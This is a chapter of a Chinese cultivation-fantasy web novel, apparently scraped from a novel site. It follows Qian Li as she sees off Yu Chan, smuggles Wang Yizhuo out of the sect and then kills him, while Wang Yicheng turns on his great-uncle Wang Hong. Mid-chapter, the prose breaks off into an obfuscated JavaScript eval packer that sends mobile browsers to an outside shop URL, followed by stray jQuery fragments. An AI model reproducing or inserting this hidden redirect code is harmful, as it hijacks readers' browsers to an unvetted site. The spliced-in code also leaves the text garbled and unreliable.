王一承被废去青云宗弟子之名、收押入牢三年的消息传出时,千黎正陪同俞婵走向青云宗山门。
今日天气极好,秋高气爽时节,山上连多日的云雾也散开了不少。远处重峦叠嶂,远远望去,天地宽阔。
俞婵的契约灵兽小离在旁边慢慢跟着。沿途不少弟子都探头看过来。
这几日,小离在宗内可谓是出尽了风头。
不少弟子带着礼物来找俞婵,只为亲眼看一看传说中的上古灵兽,再摸上一把。
俞婵借此攒了不少灵石下来。
而王家之事查明后,俞婵便被准许离宗。
“我还是喜欢当散修。”俞婵看着山外,说,“虽然无所依靠,可也没有约束,想去哪便去哪,想做什么便做什么,自由自在。”
千黎转头看向小离,伸出手想摸一摸它——要知道,这个项目俞婵收费三百下品灵石——小离连忙后退两步,鼻孔一张,冲她重重喷出两股热气。
千黎撇了撇嘴:“不就是剪了你一撮毛吗?”
“说起来,你究竟是如何偷东西的?”俞婵凑过来,小声问,“若不是你告诉我,我都不知道你竟把礼单给偷走了。还有那日你拉着我离开,分明有那么多人守在外面,却没有一个人拦我们。是不是都和这个秘法有关?”
千黎把她的脑袋推开:“你学不会的,别想了。”
“不教就不教。”俞婵哼了一声,翻身骑上小离,道,“那我便走了。”
千黎从怀中拿出一个储物袋,扔给俞婵。
俞婵讶然:“你不是已经还我了吗?”
千黎道:“这是给你的盘缠。我这不是怕你做散修,没过几日便把自己饿死了?到时候可别跑回青云宗,哭着说我要找千黎仙子。”
“千黎仙子?真是好大的口气。”俞婵笑道,“小小外门,还是杂役出身,就想得那么远、那么美?”
千黎道:“迟早的事。”
俞婵还在笑,边笑边打开储物袋,只见里面皆是上好的丹药和灵草。
她抬头问:“这些是来自……”
千黎竖起一根手指,抵在唇前,轻声说:“莫想那么多。”
“也是。”俞婵将袋口一收,坦然收起储物袋,“散修在外,最忌想得太多。”
千黎赞许地点头:“孺子可教。”
“少占我便宜!”
又是玩笑两句后,一时静了下来。
两人没说道别的话。
金色巨犬踏上山道,戴着俞婵往远方走去。
千黎站在山门前,看着那抹金色没入秋日长风之中。
许久,她才收回目光。
因着王家之事,这几日宗内上下都在彻查,连外门的课业都暂时停了。
千黎这几日闲了下来,便先去了一趟炼器堂,从王家所备嫁妆里的那批灵草中挑出一部分,炼入凝霜沐月草中。
吞下大量灵草后,凝霜沐月草并未生出什么新的变化,只是茎叶粗壮了些。
千黎的修为倒是顺势突破到了炼气七阶。
她就此停了手,没有继续炼化剩余的灵草。
借灵草强行堆积出来的修为,到底不够扎实。
她可不想把自己也练成王一卓那般虚浮的模样。
于是接下来的几日,千黎大多待在竹林里练功,偶尔下山,以千里仙人的身份授课。
又过数日,宗内终于恢复授课。
一日上课,千黎走进讲堂,便看见最后一排坐着一个熟悉的人。
王一卓身着外门弟子的青衣,头发随意束在脑后,面前摊着一本入门心法。
千黎在他身侧坐下时,王一卓抬眼看了她一眼,扯了扯嘴角:“你也是来此笑话我的?”
千黎:“……什么?”
王一卓偏开头:“没什么。”
讲师已经走上讲台,开始授课。
长达一个时辰的课,王一卓并没什么耐心听。
不消片刻,他便伏在桌上睡着了。
迷迷糊糊睁开眼时,讲堂里已经安静下来。
王一卓抬起头,看见千黎仍坐在旁边,低头翻着一本书。
他坐起来环顾四周,才发现其余弟子早已离开,整间讲堂只剩下他们两人。
王一卓拿起桌上的心法,起身便要走。
身后忽然传来千黎的声音。
“你想离宗吗?”
他猛地转身。
千黎仍低头看着书,刚刚那句话仿佛是他的错觉。
“我能带你出去,并让王宏寻不到你。”
王一卓两步走到千黎桌前:“什么意思?”
千黎抬起头,回看他:“王二公子如今愚笨到连这种话都听不懂了吗?”
王一卓皱起眉,看了她几瞬,又冷笑道:“你以为我被贬为外门弟子,你便能同我平起平坐了?你以为王家势弱,你便能扳倒王家?”
“杂役当真和畜生没什么差别,我便是养条狗都比你忠心。你……”
话还没说完,便眼前一花。
‘啪’的一声脆响中,王一卓感到左脸上传来剧痛,他的脑袋也被这一巴掌扇得偏向一侧。
千黎站在桌后,甩了甩自己的手,笑问:“我原本只是想说,你若告诉我王宏的动向,我便带你离宗。”
“就是忘了,你这人啊,脑子不好使,听不懂好赖话。”
王一卓捂着脸半晌才回过神。他瞪大了眼,仿佛不认识眼前人:“你竟敢打我!”
千黎道:“你连练气期的一巴掌都躲不过,那这巴掌,本就是你应该挨的。”
“只凭你自己,怕是一辈子也逃不开王宏的手掌心。不如和我合作,我助你离宗。”
王一卓仍捂着脸,胸口起伏不定。
听她所言,竟一时不再说话。
脑子被这一巴掌扇得嗡嗡作响,王一卓听到自己问:“……你要如何带我出去?”
“掩去你的气息,让你身上的追踪术法暂时失效。青云宗向东两百里便是松城,那里水路四通八达。你混入凡人之中,乘船一路南下。”
“再制作一个假人,取你心头血融入,将假人与宗门令牌一同留在宗内。就算是寻你,也只能先寻到假人。”
“等到了楚南地,便是天高宗门远,再无人能寻到你。”
王一卓犹疑道:“元婴修士布下的追踪术法,你一个练气……”
“只要你不站到他面前,下界便无人能找到你。”
话音刚落,千黎一甩手,一条红绸缠上王一卓的手臂。
千黎浅笑道:“现在就把假人做好,然后下山去,如何?”
一条红绸,便可以让他的气息被掩藏吗?
王一卓将信将疑。
可“离宗”二字实在太过诱人,哪怕只有一线可能,他也不愿放过。
做完假人、留下令牌,又将沾染了他气息的法器与法衣尽数换下,两人才动身下山。
王一卓穿着千黎找来的衣服,一路心跳如鼓,都顾不上嫌弃衣料粗糙。
林间每有一点风吹草动,他都忍不住一惊一乍。
直到穿过最后一片山林,真正踏出青云宗大阵笼罩的范围时,压在他心头的恐惧终于散去。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787061|208889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
心中的激动之情难以压制,王一卓一时竟忘了身边还有个千黎,他在满地枯叶间狂奔、呐喊。
“哈哈哈! 小爷我自由了——”
千黎一扬手,一片枯叶疾飞而去,抽在王一卓的嘴上。
“闭嘴。”
王一卓当即噤声。
千黎问:“你方才说,王宏已经准备好了替身?”
“是。”王一卓摸了摸刚刚被抽的地方,说,“具体是哪日,我也不知道。只知道替身早已备好,随时可以换进去。”
将王一卓送上前往松城的马车时,千黎看着车内那张仍带着兴奋的脸,叹了一口气。
如此孱弱的修为,如此少爷心性,即便真去独自闯荡,想必也要吃不少亏吧?
马车颠簸着走出青云城不久,王一卓便忘了千黎所说的‘不要探头’,兀自撩起窗帘往外看去。
尚未来得及看清外界风光,眼前便有一道灵光闪过。
千黎正骑着马慢慢跟在马车旁,面无表情、居高临下地看着他。
王一卓想张口问她怎么还在,却只挤出几声嘶哑的“嗬嗬”,又觉得脖子又刺又痛。
千黎垂眸,看着他脖子上的一线鲜血自细窄的伤口中缓缓沁出,很快又汇成血珠滑下。
她抬手收回红绸,又扔了一袋灵石给驾车人:“劳驾。”
……
王一承睁开眼时,恰好看见一只灰老鼠从墙边迅速窜过,撞翻了角落里的破碗。
哐当声中,碗中的水流了出来,汇入地上的积水,一齐映着从高高小窗中照入的月光。
王一承靠着墙坐了起来,觉得浑身又疼又冷。
虽说修行之人无惧寻常寒暑,但传闻宗内地牢下封印着一大块寒魄石。而关在牢中之人,最后大多不是病死,便是活活冻死。
少顷,寂静的夜中突然响起了水声。
哗啦——
声音由远及近,王一承听了一会儿,才听出来,那是有人踩在积了水的地面上。
不消片刻,脚步声在他的牢房外停住了。
牢内光线昏暗,只有一线月光照在来人的靴面上。
王一承仍旧认出了他。
是王宏。
王宏微微抬手,牢门便开了。
“出来罢。”
王一承扶着墙壁站起,刚走出牢门,便看见另一个与自己容貌近乎相同的人垂着头,安静站在王宏身后。
那人从他身边经过,走入牢中。牢门重新闭合。
王一承轻笑道:“我就知道祖叔不会忘了我。”
两人一前一后走出地牢。
走入后山密林,从树叶缝隙间看到天上一轮残月时,王宏叹了一口气。
“当日也是无奈之举。”
说罢,他拿出储物袋递给王一承。
“你暂且寻个隐蔽之处藏身。天门开时,我会对外说要带一名王家外戚同行,届时再带你一同前往上界。”
王一承接过储物袋,低头笑道:“多谢祖叔。”
他将储物袋收好,又随意问道:“祖叔当年便是从上界回来的吧?”
王宏道:“是啊。匆匆便是百年已过。”
“你先走吧。到了时日,我自会传信给你。”
说完,王宏转过身去。
下一瞬,一道无形神念骤然刺入他的识海。
王宏身形一僵。
身后,王一承仍旧温和地笑着。
“祖叔以元婴修为回到下界,已有百年。”
“既然止步元婴多年,这六阶灵根留在你身上,也是浪费。”